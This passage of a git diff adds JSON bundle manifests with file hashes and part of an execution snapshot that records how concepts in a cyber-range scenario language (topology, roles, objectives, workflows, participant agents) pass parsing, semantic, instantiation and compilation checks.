"e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "66.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v66.json", + "snapshot_sha256": "be6f6c95160944d2134a683954ef3ee7d8a8393b033ff1b1dbfe2227a623ed5d" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-214-v25.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-214-v25.json new file mode 100644 index 000000000..e8b6a8d78 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-214-v25.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v25.json", + "analysis_sha256": "63db8145e5f5c6df2a504ab0ef4bfc06876d785702d1e1e7c8cf92b1f1e6eb7a", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "25.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v25.json", + "snapshot_sha256": "a62d0d90a4d57e4a13af683976e4c837688f90bc28a1b6f42273238ea9fd329b" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-218-v42.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-218-v42.json new file mode 100644 index 000000000..ae5c2a4ac --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-218-v42.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v42.json", + "analysis_sha256": "cb7dcd283a89111ad582f0a876a888cf1e97e291efc1dc73f9ff8fb84156958c", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "42.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v42.json", + "snapshot_sha256": "d69615b40742030abcf4e07ee3577b81a4816cd241559a04f244d071ba9803df" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-218-v43.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-218-v43.json new file mode 100644 index 000000000..18b1821a3 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-218-v43.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v43.json", + "analysis_sha256": "564a26f13f44b63ae243c8426972717f63374136045490638f61388c198c15e1", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "43.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v43.json", + "snapshot_sha256": "dbf9b38489e18d1cabe945d92c82304339361d7687de1ec8557a0465e10abb35" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-218-v44.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-218-v44.json new file mode 100644 index 000000000..e84e309e1 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-218-v44.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v44.json", + "analysis_sha256": "005b3481fbca8676e98e45a92322c90bc9f7ece5cea9e2823496389165455a8d", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "44.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v44.json", + "snapshot_sha256": "9b8df1d9656bd27a73dd15e50f891cbe3e9d80a18b8b856a03f931a0c11f1b8a" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-341-v21.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-341-v21.json new file mode 100644 index 000000000..d347c64bc --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-341-v21.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v21.json", + "analysis_sha256": "3784517952e0b955e3bc9ba34bffd3068bac364d1b06e650af0d82bd8418fb72", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "21.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v21.json", + "snapshot_sha256": "3c66f45bfe0e4a9f96c028c1ca37c10c518c12a7dd1bcd34e46c975ad0ed4e79" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-342-v16.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-342-v16.json new file mode 100644 index 000000000..88f8d8c84 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-342-v16.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v16.json", + "analysis_sha256": "420f2afd1dad9c36d5838d6c1c91a044f761e95da9cf9a12b8d0477ec485ca5d", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "16.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v16.json", + "snapshot_sha256": "319fda4da55d97cf79ae0adef4571fb236b89ccedcab565b329dbdbc60eb244b" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-610-v39.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-610-v39.json new file mode 100644 index 000000000..3ac79946d --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-610-v39.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v39.json", + "analysis_sha256": "103fcbc8fc0c00097eae2a6a2df8acc616dfc83ca9551cb7f77a5520f4738e57", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "39.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v39.json", + "snapshot_sha256": "a58b88eed0534fcbb1d681e54d021830d228983f01bf7760a0e0e471c7c71b40" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-959-v20.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-959-v20.json new file mode 100644 index 000000000..23b785cc5 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-959-v20.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v20.json", + "analysis_sha256": "445c205ada4efbb735d304f60c656c310cedea689a81cc0cfd423638db0a65a4", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "20.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v20.json", + "snapshot_sha256": "ace6c20dcd5c7a32d006e81133cf1e97cfe886eb2d2bdac96a8d7fa6d2f59faf" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-971-v60.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-971-v60.json new file mode 100644 index 000000000..a60ac7c93 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-971-v60.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v60.json", + "analysis_sha256": "df8b559d1afc55b81753f9f875377a6f7368e0e77922246877cf4869d0e546dd", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "60.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v60.json", + "snapshot_sha256": "aff22298450c248fdc143837210e38a13836d8f303260b865e61e363d345181e" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-971-v61.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-971-v61.json new file mode 100644 index 000000000..1e9df9f97 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-971-v61.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v61.json", + "analysis_sha256": "9aa8a3081c3cb7a3377601c7aeb8d0cbb69a1896c5ae94b38a6d436238789cfc", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "61.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v61.json", + "snapshot_sha256": "7b296d647c64d2ff5dc6eb7cb89b03779705ec2add8d6f2fee49348524699087" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-971-v62.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-971-v62.json new file mode 100644 index 000000000..8eb3d398f --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-971-v62.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v62.json", + "analysis_sha256": "dd4c737fcb084d7ac7b49c5715bf1c10b0fa61e097d730b96df28fcb584ca793", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "62.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v62.json", + "snapshot_sha256": "378adf7af478a9a980e3d19a1da21b871da07b768ce86169f96e21ec591e412d" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-971-v63.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-971-v63.json new file mode 100644 index 000000000..29f4893d0 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-971-v63.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v63.json", + "analysis_sha256": "74f597b1c4b6f71a3b902a99f6af15517ce3d4c389df5e325eff09c0e0171e25", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "63.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v63.json", + "snapshot_sha256": "582c7dfeafb3eca7fb4af4f9b4f4859b9d3a3b7d185f93a731fef672c79d9e0c" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-supply-chain-v65.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-supply-chain-v65.json new file mode 100644 index 000000000..95c074d72 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-supply-chain-v65.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v65.json", + "analysis_sha256": "76af4fa53a401338760b0c1c8bfec8467e6754208aa7f7de347edff9f4f4bf12", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "65.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v65.json", + "snapshot_sha256": "d1f7b3a77ca6bef102d322cf6afb968466bcdf14b02b3710ad49788fbd9c653c" +} diff --git a/docs/research/specification-coverage/execution-snapshot-v16.json b/docs/research/specification-coverage/execution-snapshot-v16.json new file mode 100644 index 000000000..d75405d27 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v16.json @@ -0,0 +1,677 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-15T17:07:02.307825+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable 